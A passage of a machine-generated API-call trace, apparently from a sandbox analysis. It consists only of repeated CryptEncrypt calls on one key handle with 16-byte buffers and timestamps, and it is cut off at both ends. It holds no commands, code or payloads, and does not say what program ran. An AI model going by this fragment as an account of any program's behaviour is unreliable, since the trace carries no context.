dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.796] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.797] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.798] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.799] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, 